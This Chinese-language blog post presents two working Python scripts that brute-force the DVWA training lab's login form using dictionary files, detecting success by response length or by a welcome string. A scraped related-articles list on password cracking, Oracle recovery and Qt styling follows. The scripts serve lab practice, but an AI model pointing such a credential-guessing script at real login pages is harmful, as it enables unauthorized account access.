一个简单的Python暴力破解网站登录密码脚本

article/2025/9/28 22:00:48

目录:

    • 关键代码解释
    • 完整代码
      • 方法一
        • 运行结果
      • 方法二
        • 运行结果

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级

关键代码解释

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0','Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}

这一行的作用是作一次get请求,响应信息被变量Response接收

 Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code 是响应的http状态码,len(Response.content) 是http响应报文的长度

result = str(Response.status_code) + ',' + username + ','\+ password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requestsurl = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0','Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):username = admin.strip()password = line.strip()payload = {'username':username,'password':password,"Login":'Login'}Response = requests.get(url,params=payload,headers=header)result = str(Response.status_code) + ',' + username + ','\+ password + ',' + str(len(Response.content))f.write(result + '\n')
f.close()
print('\n完成')

运行结果

运行



这就是脚本发送的数据包

查看结果

查看包长度与其他不同的数据,登录测试

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里

主要改动在第17到20行

import requestsurl = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0','Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):username = admin.strip()password = line.strip()payload = {'username':username,'password':password,"Login":'Login'}Response = requests.get(url,params=payload,headers=header)if not(Response.text.find('Welcome to the password protected area')==-1):result = username + ':' + passwordprint(result)f.write(result + '\n')
f.close()            
print('\n完成')

运行结果


http://chatgpt.dhexx.cn/article/6RUrlZo5.shtml

相关文章

【谨慎学习】手把手教你破解网站管理后台帐号密码

【导读】 对于网站运行的个人站长而言,最担心的是应如何有效且安全的去管理自己的网站,否则自己辛辛苦苦经营的网站就会被不请自来的不速之客给攻破,轻则站点数据被窃取,重则整个网站都被攻陷,导致无法恢复。 本文主…

如何破解网络密码?(2种方法)

方法1:直接找网络的主人问(没有技术含量,不要脸的话就去问吧) 如果别人不告诉你怎么办? 两种解决方法: (1)叫你孩子去问,让他(她)撒撒娇~ &am…

黑客入门破解网络密码常用九个方法

个人网络密码安全是整个网络安全的一个重要环节,如果个人密码遭到黑客破解,将引起非常严重的后果。比如,银行卡账户密码被盗,你就给别人打工了。所以,增强网民的网络安全意识是网络普及进程的一个重要环节。 常言道&a…

Burp Suite暴力破解网站密码

一、准备: 1,靶场:个人选择DVWA。 2,工具:Burp Suite。 3,密码字典。二、开搞!: 注:任何未经授权的渗透测试皆为违法,本文仅供学习,维护网络安全…

Oracle数据误删恢复

Oracle数据误删恢复 欢迎关注微信公众号: 程序员小圈圈 转载请标明出处^_^ 原文首发于: www.zhangruibin.com 本文出自于: RebornChang的博客 对于删除数据,我们大致可以分为两种。 ①一种是在控制台执行的sql进行数据删除。 ②一…

SOLARIS系统下ORACLE数据恢复案例

服务器数据恢复环境: 两台SPARC SOLARIS操作系统服务器通过光纤交换机共享一台存储作为集群使用。平时是一台服务器(以下称为主服务器)在运行,如果该服务器发生故障宕机,只需要将这台服务器关机后开启另外一台服务器&a…

Oracle数据恢复

1、查询Oracle日志表 select * from v$sql ; select * FROM v$sqlarea ; 2、查询表的最新操作,找到被删除的数据 select * from v$sql where sql_text like %ABNORMAL_ORDERS% ORDER BY FIRST_LOAD_TIME desc; 找到操作的时间 FIRST_LOAD_TIME,SQ…

【服务器数据恢复】EXT3文件系统下Oracle数据库数据恢复案例

服务器数据恢复环境: 华为OceanStor某型号存储,十几块FC硬盘组建一组RAID5磁盘阵列,配备了一块热备盘;上层使用EXT3文件系统,配置了oracle数据库。 服务器故障: 该存储RAID5中的一块硬盘未知原因离线&…

Oracle-Oracle数据库备份与恢复

Oracle数据库备份与恢复 下面通过一些简单的例子来了解一下: Oracle数据库各种物理备份的方法。Oracle数据库各种物理恢复的方法利用RMAN工具进行数据库的备份与恢复。数据的导出与导入操作。 (1)关闭BOOKSALES数据库,进行一次完全冷备份。 select file…

Oracle—数据恢复

文档结构 1、恢复原理1.1、recyclebin(回收站)相关操作 1.2、archived redo(归档日志)1.3、supplemental log(补充日志) 2、恢复场景2.1、定义删除2.2、记录删除2.2.1、undo恢复2.2.2、redo恢复2.2.3、dbms…

Oracle数据库数据丢失恢复的几种方法总结

根据oracle数据库的特点和提供的工具,主要方法有以下几种方法: 利用逻辑备份使用import工具丢失数据的表 利用物理备份来通过还原数据文件并进行不完全恢复 利用dbms_logmnr包从redo log文件中恢复 利用flashback特性恢复数据 前提 为了方便…

QSS美化

摘自:https://qtdebug.com/qtbook-qss/ Qt 提供的 widget 的默认外观很多时候都不符合项目的界面需求,必须要改,修改一个 widget 的外观(Look and Feel)有以下的方法: 继承 Widget,然后在 pain…

Qss换肤设置

前言:本文大部分的内容来源于同类博客。章节1.1-1.3 摘自参考文档:http://www.th7.cn/web/html-css/201405/37286.shtml。1.4摘自参考文档。https://blog.csdn.net/Staranywhere/article/details/106967756。本文仅用作知识点整理。 目录: 1…

qss之QRadioButton

先来个示例 QRadioButton {font-family: "Microsoft YaHei";font-size: 14px;color: #BDC8E2;background-color: #2E3648; }效果图如下: 上面的例子是基本的样式设置,下面我们将探讨 QRadioButton 各种样式设置: 字体样式 font…

QSS的使用

QSS官方文档:https://doc.qt.io/qt-5/stylesheet-reference.html 图标制作例子: normal hover press disable 图标制作 按钮设计指南 按钮多态的几种方法 一、程序应用qss文件 QString qssPath QString("%1/stylesheet/style.qss").arg(a.applicationD…

QSS属性大全

1、选择器 1.1、通用选择器 /* 格式:* { 属性: 值; } 通用选择器一般用来给应用程序设置统一的字体,大小,颜色等 */ * {font-family: "Microsoft YaHei";outline: 0px;color: #DCDCDC; }1.2、类型选择器 /* 格式: 类…

Qt之QSS使用与基本语法

一、QSS介绍 QSS是一种从CSS借鉴过来的机制,用来实现对控件外观的自定义。但是它比CSS功能要弱化一些,有一些属性和选择器,QSS并没有。 Qt中的各个控件可以使用QSS来实现界面的个性化定制、美化,使用起来也是特别方便的。 二、Q…

QTreeWidget样式qss

文章目录 QTreeWidget/QTreeView样式QHeaderView背景属性alternate-background-color:交替背景色background:背景属性background-color:控件的背景色background-image:用于控件的背景图像。如果图像有透明部分则显示透明部分。bac…

qss文件使用

每个控件提供的样式太少?只能简单的设置颜色、字体颜色、字体大小?每次设置都要输入好长一串好麻烦? 现在你只要写一段qss就能满足你的一切需求,实现效果如下 本文将从下面三个方向慢慢阐述qss的使用 1、如何使用qss 2、如何修…

QSS 基础

如果你会 CSS,那么 QSS 对你来说将会非常简单,QSS 的语法和 CSS 的愈发非常相似,但也有些不同,有些 CSS 的东西在 QSS 里被去掉了,QSS 也加了些自己特有的东西,不过大多数还是差不多的,下面以修…